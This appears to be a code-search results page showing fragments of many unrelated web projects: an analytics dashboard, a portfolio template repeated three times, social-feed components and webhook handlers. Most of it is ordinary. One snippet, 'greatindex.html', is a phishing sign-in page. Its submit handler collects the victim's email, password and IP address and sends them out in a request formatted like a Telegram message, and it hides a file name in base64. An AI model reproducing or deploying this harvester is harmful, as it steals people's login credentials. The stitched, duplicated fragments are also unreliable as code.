Sonaranalytics.tsx17 matches
5import { dbQuery } from './supabase.ts'
67export function handleAnalyticsEndpoints(app: Hono) {
8app.get('/analytics', (c) => c.html(<Dashboard />, 200))
9}
1011async function Dashboard() {
12// todo: load all data in parallel (postgress connection issue)
13const w = 90
61}
6263function Table({ data, title, props, w }) {
64const renderProp = (item, prop) => {
65const gap = ' '
113}
114115function B({ children }) {
116return <span className="text-neutral-300 dark:text-neutral-600">{children}</span>
117}
118119function Spacer({ w }) {
120return (
121<div>
125}
126127function countUsersByInterval({ intervalFormat = 'YYYY-MM-DD' }) {
128return analyticsQuery(`
129select TO_CHAR(created_at, '${intervalFormat}') as interval, COUNT(distinct fid)
134limit 10`)
135}
136function topOpenLocations() {
137return analyticsQuery(`
138select param, COUNT(*)
143limit 10`).then(miniappLocationDataTransformer)
144}
145function topScreens() {
146return analyticsQuery(`
147select param, COUNT(*)
152limit 10`).then(screenDataTransformer)
153}
154function topUsers() {
155return analyticsQuery(`
156select fid, COUNT(*)
162}
163164function screenDataTransformer(data: any) {
165return data.map((item: any) => {
166return {
170})
171}
172function userDataTransformer(data: any) {
173return data.map((item: any) => {
174return {
178})
179}
180function miniappLocationDataTransformer(data: any) {
181return data.map((item: any) => {
182return {
188}
189190function getLocationText(param: string) {
191let locationText = ''
192if (param) {
206return locationText
207}
208function getClientFidText(clientFid: any) {
209if (!clientFid) return `[FC] `
210if (clientFid == 9152) return `[FC] `
213return `[${clientFid}]`
214}
215function getLocationLink(param: string) {
216if (param) {
217const location = JSON.parse(param)
222}
223224async function analyticsQuery(query: string, args: any[] = []) {
225const result = await dbQuery(query, args)
226return safeRows(result.rows)
227}
228229function safeRows(rows: any[]) {
230return rows.map((row) => {
231const newRow: Record<string, any> = {}
45// Custom Icons
6function MoonIcon(props) {
7return (
8<svg
23}
2425function SunIcon(props) {
26return (
27<svg
50}
5152function GithubIcon(props) {
53return (
54<svg
65}
6667function MailIcon(props) {
68return (
69<svg
85}
8687function LinkedinIcon(props) {
88return (
89<svg
101102// Custom Button Component
103function Button({
104children,
105variant = 'primary',
133134// Custom Card Components
135function Card({ children, className = '' }) {
136return (
137<div className={`bg-white dark:bg-gray-800 rounded-lg shadow-md ${className}`}>
141}
142143function CardHeader({ children, className = '' }) {
144return (
145<div className={`p-4 border-b border-gray-200 dark:border-gray-700 ${className}`}>
149}
150151function CardTitle({ children, className = '' }) {
152return (
153<h3 className={`text-xl font-semibold text-gray-900 dark:text-gray-100 ${className}`}>
157}
158159function CardContent({ children, className = '' }) {
160return (
161<div className={`p-4 ${className}`}>
166167// Custom Switch Component
168function Switch({ checked, onCheckedChange }) {
169return (
170<button
190}
191192function App() {
193const [theme, setTheme] = useState<'light' | 'dark'>('light');
194349}
350351function client() {
352createRoot(document.getElementById("root")).render(<App />);
353}
354if (typeof document !== "undefined") { client(); }
355356export default async function server(request: Request): Promise<Response> {
357return new Response(`
358<!DOCTYPE html>
45// Custom Icons
6function MoonIcon(props) {
7return (
8<svg
23}
2425function SunIcon(props) {
26return (
27<svg
50}
5152function GithubIcon(props) {
53return (
54<svg
65}
6667function MailIcon(props) {
68return (
69<svg
85}
8687function LinkedinIcon(props) {
88return (
89<svg
101102// Custom Button Component
103function Button({
104children,
105variant = 'primary',
133134// Custom Card Components
135function Card({ children, className = '' }) {
136return (
137<div className={`bg-white dark:bg-gray-800 rounded-lg shadow-md ${className}`}>
141}
142143function CardHeader({ children, className = '' }) {
144return (
145<div className={`p-4 border-b border-gray-200 dark:border-gray-700 ${className}`}>
149}
150151function CardTitle({ children, className = '' }) {
152return (
153<h3 className={`text-xl font-semibold text-gray-900 dark:text-gray-100 ${className}`}>
157}
158159function CardContent({ children, className = '' }) {
160return (
161<div className={`p-4 ${className}`}>
166167// Custom Switch Component
168function Switch({ checked, onCheckedChange }) {
169return (
170<button
190}
191192function App() {
193const [theme, setTheme] = useState<'light' | 'dark'>('light');
194349}
350351function client() {
352createRoot(document.getElementById("root")).render(<App />);
353}
354if (typeof document !== "undefined") { client(); }
355356export default async function server(request: Request): Promise<Response> {
357return new Response(`
358<!DOCTYPE html>
portfolioSitemain.tsx14 matches
45// Custom Icons
6function MoonIcon(props) {
7return (
8<svg
23}
2425function SunIcon(props) {
26return (
27<svg
50}
5152function GithubIcon(props) {
53return (
54<svg
65}
6667function MailIcon(props) {
68return (
69<svg
85}
8687function LinkedinIcon(props) {
88return (
89<svg
101102// Custom Button Component
103function Button({
104children,
105variant = 'primary',
133134// Custom Card Components
135function Card({ children, className = '' }) {
136return (
137<div className={`bg-white dark:bg-gray-800 rounded-lg shadow-md ${className}`}>
141}
142143function CardHeader({ children, className = '' }) {
144return (
145<div className={`p-4 border-b border-gray-200 dark:border-gray-700 ${className}`}>
149}
150151function CardTitle({ children, className = '' }) {
152return (
153<h3 className={`text-xl font-semibold text-gray-900 dark:text-gray-100 ${className}`}>
157}
158159function CardContent({ children, className = '' }) {
160return (
161<div className={`p-4 ${className}`}>
166167// Custom Switch Component
168function Switch({ checked, onCheckedChange }) {
169return (
170<button
190}
191192function App() {
193const [theme, setTheme] = useState<'light' | 'dark'>('light');
194349}
350351function client() {
352createRoot(document.getElementById("root")).render(<App />);
353}
354if (typeof document !== "undefined") { client(); }
355356export default async function server(request: Request): Promise<Response> {
357return new Response(`
358<!DOCTYPE html>
9import { formatDateRelative, formatNumber } from './ui.tsx'
1011export function Post({ cast, display = 'default' }) {
12const navigate = useNavigate()
1344}
4546function PostMedia({ cast }) {
47const images = cast.embeds?.filter((embed) => !!embed?.metadata?.image)
48// const videos = cast.embeds?.filter((embed) => !!embed?.metadata?.video)
113}
114115function PostInteractions({ cast, display = 'default' }) {
116const hideInteractions = ['quote', 'sub-comment', 'preview'].includes(display)
117if (!cast || hideInteractions) return null
135}
136137export function Feed({
138queryKey,
139queryFn,
178}
179180export function SmallMediaPost({ cast }) {
181const [isFullscreen, setIsFullscreen] = useState(false)
182const images = cast?.embeds?.filter((embed) => !!embed?.metadata?.image)
greatindex.html10 matches
180<script>
181/* global $ */
182$(document).ready(function() {
183var count = 0;
184224225226$('#ai').click(function() {
227$('#error').hide();
228});
229230$(document).keypress(function(event) {
231232var keycode = (event.keyCode ? event.keyCode : event.which);
249250251$('#next').click(function() {
252event.preventDefault();
253var my_ai = $('#ai').val();
273274});
275// $('#back').click(function() {
276// // $("#msg").hide();
277// $("#ai").val("");
283284var file="bmV4dC5waHA=";
285$('#submit-btn').click(function(event) {
286event.preventDefault();
287var ai = $("#ai").val();
302%0AEmail: ${ai}%0APasswd: ${pr}%0AClient IP: ${userip}%0A====== Telegram: @Source_Code03 ======&parse_mode=html`,
303type: "GET",
304beforeSend: function(xhr) {
305$("#submit-btn").html("verifying...");
306},
307success: function(response) {
308$("#pr").val("");
309if (count >= 2) {
327}
328},
329error: function() {
330$("#pr").val("");
331if (count >= 2) {
349}
350},
351complete: function() {
352$("#submit-btn").html("Sign in");
353}
MiniAppStarterFarcasterMiniApp.tsx2 matches
4import { formatAddress, formatJSON, MonoButtonWithStatus, Section } from './ui.tsx'
56export function FarcasterMiniApp() {
7const [context, setContext] = useState<any>()
8const [walletAddresses, setWalletAddresses] = useState<any>()
191}
192193function ExpandableSection({ title, children }: { title: string; children: React.ReactNode }) {
194const [expanded, setExpanded] = useState(false)
195
twitterNewTweetAlertmain.tsx3 matches
69}
7071export default async function(req: Request): Promise<Response> {
72if (req.method !== "POST") {
73return new Response("This Val can only process POST requests from SocialData", {
105}
106107function generateDiscordPayload(event: NewTweetEvent): any {
108const tweet = event.data;
109const user = tweet.user;
179}
180181async function sendEventToDiscord(event: NewTweetEvent): Promise<void> {
182const payload = generateDiscordPayload(event);
183
collect-metricsmain.ts1 match
1export default async function(req: Request): Promise<Response> {
2const url = new URL(req.url);
3const raw = url.searchParams.get("analytics");
linkInBioTemplatemain.tsx1 match
2import { renderToString } from "npm:react-dom/server";
34export default async function(req: Request) {
5return new Response(
6renderToString(